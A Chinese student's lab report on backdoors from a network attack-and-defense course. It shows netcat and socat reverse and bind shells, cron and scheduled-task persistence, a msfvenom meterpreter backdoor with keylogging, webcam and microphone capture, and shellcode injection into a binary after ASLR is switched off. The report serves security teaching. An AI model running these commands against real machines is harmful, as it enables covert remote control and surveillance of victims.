2019-2020-2 20175216《网络对抗技术》 Exp2 后门原理与实践
实验准备
1、netcat
的学习
netcat
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。- Linux中一般自带
ncat
,可以使用man netcat
或man nc
可查看其使用说明
windows 获取 linux 的shell
-
在Windows下使用
ipconfig
查看本机IP为192.168.2.130
-
在Windows使用
ncat.exe
程序监听本机的5216
端口ncat.exe -l -p 5216
-
在 linux 中反弹连接Windows,
nc 192.168.2.130 5216 -e /bin/sh
,使用-e
选项执行shell
程序
-
Windows成功获得 linux 的shell
linux 获取 winsdows 的shell
-
linux下查看使用
ip addr
IP地址192.168.170.142
-
在linux端使用
nc -l -p 5216
指令监听5216
端口
-
在Windows下,使用
ncat.exe -e cmd.exe 192.168.170.142 5216
指令反向连接 linux 主机的5216
端口
-
linux 成功看到Windows的命令提示,使用
dir
查看D:20175216zxy cat
文件目录
使用nc传输数据
-
Windows下使用
ncat.exe -l 5216
指令监听5216端口 -
linux 使用
nc 192.168.2.130 5216
指令反弹连接到Windows的5215端口
nc传输文件
- linux 向Windows中传输文件
- Windows中通过
ncat.exe -l 5216> 20175216.txt
监听5216 端口- linux 反弹连接Windows的5216 端口
nc 192.168.2.130 5216 < zxy.txt
,Windows可以收到 linux 发来的文件
- Windows向 linux 发送文件
- kali中通过
nc -l -p 5216 > 20175216.txt
监听5216 端口- Windows反弹连接linux的5216端口
ncat.exe 192.168.170.142 5216 < zxy.txt
, linux 可以收到Windows发来的文件
2、socat的学习
- socat是ncat的增强版,它使用的格式是
socat [options] <address> <address>
,其中两个address是必选项,而options是可选项。 - socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实验过程
1、使用netcat获取主机操作Shell,cron启动
- windows使用
ncat.exe -l -p 5216
监听5216端口
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可man cron
。
crontab
指令增加一条定时任务,-e
表示编辑。在最后一行添加45 * * * * /bin/netcat 192.168.2.130 5216 -e /bin/sh
每个时间段的第45分钟反向连接Windows主机的5216端口
- 时间到了10:45,此时已获得了Kali的shell,使用ls查看目录
2、使用socat获取主机操作Shell, 任务计划启动
-
右键windows ,找到计算机管理 ,在系统工具找到任务计划程序,创建任务
-
常规
中填写任务名称为exp
,点击触发器
然后新建触发器
,我选择工作站锁定时
然后点击确定。
-
在
操作
中,导入你所下载解压后的socat.exe的路径,在添加参数
中填入tcp-listen:5216 exec:cmd.exe,pty,stderr
(把cmd.exe
绑定到端口5216,同时把cmd.exe
的stderr
重定向到stdout
上),创建完成之后,点击确定。
-
先锁定计算机,然后重新进入计算机,
socat
就会启动
- 在kali中输入
socat - tcp:192.168.2.130:5216
(-
代表标准的输入输出,第二个流连接到Windows主机的5216端口,IP为windows的IP),成功获得cmd shell
3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.170.142 LPORT=5216 -f exe > 20175216_backdoor.exe
(IP为kali的IP)生成后门程序20175216_backdoor.exe
- 在Windows中使用
ncat.exe -lv 5216 > 20175216_backdoor.exe
查看连接状态
- kali中输入nc 192.168.2.130 5216 < 20175216_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机,传输成功。
- 在linux中另外打开一个终端,
msfconsole
进入控制台 - 输入
use exploit/multi/handler
使用监听模块,设置payload - 使用和生成后门程序时相同的payload:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.170.142
此处为kali的IP(和生成后门程序时指定的IP相同)- 端口号也相同:
set LPORT 5216
- 设置完成后,
exploit
开始监听
- kali获得Windows主机的连接,并且得到了远程控制的shell
4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 截取音频:
record_mic
- 获取摄像头拍照:
webcam_snap
- 截屏:
screenshot
- 记录击键的过程:
keyscan_start
读取击键的记录:keyscan_dump
- 查看当前用户:
getuid
,提取权限:getsystem
加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
- 关闭地址随机化
execstack -s 20175216pwn //设置堆栈可执行
execstack -q 20175216pwn //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
- 同实验一,启用gdb调试进程,
attach 2087
与进程建立连接 - 输入指令
disassemble foo
对foo
函数进行反汇编。 - 然后设置断点,来查看注入
buf
的内存地址。指令为:break *0x080484ae
- 然后回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令
c
继续。 - 接下来输入指令
info r esp
查看查看栈顶指针所在的位置,并查看改地址存放的数据 - 发现
x4x3x2x1
果然出现在栈顶,就是返回地址的位置。shellcode
就挨着,所以地址是0xffffd31c+4=0xffffd320
- 将反弹连接Shellcode放入,生成shellcodeinput文件
perl -e 'print "A" x 32;print"x20xd3xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > shellcodeinput
- 在新终端b中启动
msfconsole
use exploit/multi/handler //用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 //设置IP为回环地址
set LPORT 4444 //根据代码设置端口
exploit //设置完成开始监听
- 另一个终端(cat shellcodeinput;cat) | ./20175216pwn,成功获得shell
实验总结
实验过程中遇到的问题
- 在Windows里运行后门文件
20175216_backdoor.exe
之后,但是在kali中收不到连接
- 解决方法:IP地址、端口号都没有问题,防火墙、杀毒软件都已关闭,重启虚拟机也不行,最后重启电脑它行了。真的,重启能解决百分之九十的问题,剩下百分之十的问题还是重装系统吧。
基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
在网页版下载软件的安装包,下载盗版软件,自己的手机因为没电连接别人电脑进行充电
- 例举你知道的后门如何启动起来(win及linux)的方式?
linux通过修改linux的cron程序和注入shellcode开启后门
windows通过木马启动后门
- Meterpreter有哪些给你映像深刻的功能?
通过后门进行截屏、开启摄像头、录音获取信息
- 如何发现自己有系统有没有被安装后门?
开启windows defender,查看注册表信息,杀毒软件杀毒
实验体会
通过这次实验,我了解了很多关于后门的知识,想想我去年十一月份手机没电了,用一个学长的电脑充电,然后我手机里的信息他通过远程控制看到了,幸亏和那个学长认识,不然信息流到坏人手里,后果不堪设想。打铁还需自身硬,在实验中,我们也只是学到的后门只是冰山一角,以后只有通过不断学习,不断思考,提高自己安全意识,才能降低被攻击的风险。